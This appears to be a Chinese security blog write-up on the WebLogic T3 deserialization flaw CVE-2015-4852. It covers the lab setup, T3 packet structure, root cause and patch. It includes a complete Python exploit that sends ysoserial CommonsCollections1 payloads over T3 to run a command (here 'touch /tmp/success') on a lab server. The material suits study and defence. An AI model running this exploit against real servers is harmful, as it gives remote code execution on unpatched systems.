前言
之前遇到Weblogic就是工具一把梭,现在来详细分析下Weblogic相关漏洞的原理。
weblogic反序列化主要有XMLDecoder和T3协议。先从T3协议开始,主要是CVE-2015-4852
这个漏洞
环境搭建
构建镜像
下载jdk压缩包和weblogic,然后把下载好的jdk文件放在该项目的jdks文件夹下,weblogic的源码放在weblogics文件夹下。
执行命令
1 2 3
| docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
|
搭建成功
远程调试
需要把一些weblogic的依赖Jar包给导出来才能进行远程调试。
1 2 3 4 5 6 7
| mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
|
用IDEA打开wlserver文件夹,然后导入coherence_3.7\lib和modules
再把 server/lib 作为依赖进行导入
在配置页面添加Remote并修改端口
T3协议
T3协议概述
RMI通信传输反序列化数据,接收数据后进行反序列化,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性。以下是T3协议的特点:
- 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
- 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
T3协议结构
T3协议里包含请求包头和请求的主体这两部分内容。
请求包头
请求包的头如下
1
| t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
|
发送一个请求包的头,看看会返回什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import socket
def T3Test(ip,port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" sock.sendall(handshake.encode()) while True: data = sock.recv(1024) print(data.decode())
if __name__ == "__main__": ip = "192.168.111.132" port = 7001
T3Test(ip,port)
|
返回内容中包含了版本信息
用wireshark抓包
然后追踪TCP流,可以看到在HELO后面会返回一个版本号
请求主体
T3协议中传输的都是序列化数据,分为七个部分,第一部分就是协议头,也就是
1
| t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
|
借用两张图来描述一下T3协议包的主要内容
第二到第七部分内容,开头都是ac ed 00 05
,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式
- 将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
漏洞复现
复现
这里可以用jdk7u21和cc1两条链,用创建文件的方式来检验反序列化是否成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from os import popen import struct import subprocess from sys import stdout import socket import re import binascii
def generatePayload(gadget,cmd): YSO_PATH = "ysoserial.jar" popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE) return popen.stdout.read()
def T3Exploit(ip,port,payload): sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((ip,port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" sock.sendall(handshake.encode()) data = sock.recv(1024) compile = re.compile("HELO:(.*).0.false") match = compile.findall(data.decode()) if match: print("Weblogic: "+"".join(match)) else: print("Not Weblogic") header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") payload = header + t3header +desflag+ payload payload = struct.pack(">I",len(payload)) + payload[4:] sock.send(payload) if __name__ == "__main__": ip = "192.168.111.132" port = 7001 gadget = "CommonsCollections1" cmd = "touch /tmp/success" payload = generatePayload(gadget,cmd) T3Exploit(ip,port,payload)
|
查看一下容器里的/tmp目录,发现成功创建了success文件
1
| docker exec weblogic1036jdk7u21 ls tmp/
|
payload数据包分析
wireshark添加过滤器
第一个数据包是我们发送的请求头,第二个数据包是weblogic回复HELO和版本,第三个才是payload数据包
来详细看一下第三个数据包,主要有四个组成部分,如下
- 数据包长度
- T3协议头
- 反序列化标志:T3协议中每个反序列化数据包前面都带有
fe 01 00 00
,再加上反序列化标志ac ed 00 05
就变成了fe 01 00 00 ac ed 00 05
- 数据
再回来看看poc,这个poc本质就是把ysoserial生成的payload变成t3协议里的数据格式。
- 数据包长度包括了自身长度和其他三部分数据包长度,所以需要先占位,计算出长度后再替换进去
- T3协议头是固定的,直接硬编码进去就行
- 反序列化标志+数据=weblogic反序列化标志
fe010000
+ysoserial生成的序列化数据
漏洞分析
CVE-2015-4852
1.weblogic.rjvm.InboundMsgAbbrev#readObject
调用了内部类InboundMsgAbbrev.ServerChannelInputStream的readObject方法
2.InboundMsgAbbrev.ServerChannelInputStream#readObject
ServerChannelInputStream继承自ObjectInputStream类,这里重写了resolveClass,但是实际上调用的还是父类ObjectInputStream的resolveClass方法,等于没有做任何防御,导致漏洞的出现。
可以在导入的依赖中看到这个版本自带CommonCollections3.2.0,这样反序列化点和gadget就都有了。利用ysoserial生成CommonsCollections1的payload然后放到T3协议数据包力就可以了
那么现在有一个问题,为什么说resolveClass可以防御Java反序列化?
resolveClass作用
先从resolveClass的作用说起。
resolveClass
方法的作用是将类的序列化描述符加工成该类的Class对象。
因为对应的Class对象是在resolveClass这里返回的,所以这里是防御反序列化的关键。重写resolveClass然后再里面添加一个类的黑名单,发现类在黑名单中就抛出错误,这样就无法获取恶意的类的Class对象。此方法一定程度上可以防御反序列化(虽然黑名单过滤效果不好)
weblogic进行反序列化的执行流程图
借用的反序列化攻击时序图
CVE-2015-4852修复
参考这篇文章中的补丁:http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/
Weblogic对CVE-2015-4852的修复措施是在resloveClass里加上 ClassFilter.isBlackListed黑名单过滤
黑名单的内容,可以看到黑名单过滤了CommonCollections
还参考这篇文章中的修复方式:https://www.anquanke.com/post/id/226070#h2-15
不局限于重写resolveClass
开放在外网的情况下,还可以采用web代理和负载均衡。
- web代理的方式只能转发HTTP的请求,而不会转发T3协议的请求,这就能防御住T3漏洞的攻击。
- 负载均衡的情况下,可以指定需要进行负载均衡的协议类型,这么这里就可以设置为HTTP的请求,不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。
总结
主要学习了以下内容
- T3协议的组成和在Weblogic反序列化中的利用
- CVE-2015-4852的产生原因及修复,以及resolveClass在防御反序列化方面的应用
对于Weblogic解析T3协议的具体过程还有待分析
参考链接
https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704
http://wjlshare.com/archives/1573
http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/
https://www.anquanke.com/post/id/226070#h3-13
http://redteam.today/2020/02/14/Java%E5%8E%9F%E7%94%9F%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%BB%A3%E7%A0%81%E7%AE%80%E8%A6%81%E5%88%86%E6%9E%90/
https://github.com/Cryin/Paper/blob/master/%E6%B5%85%E8%B0%88Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88.md
https://www.cnblogs.com/0x7e/p/14529949.html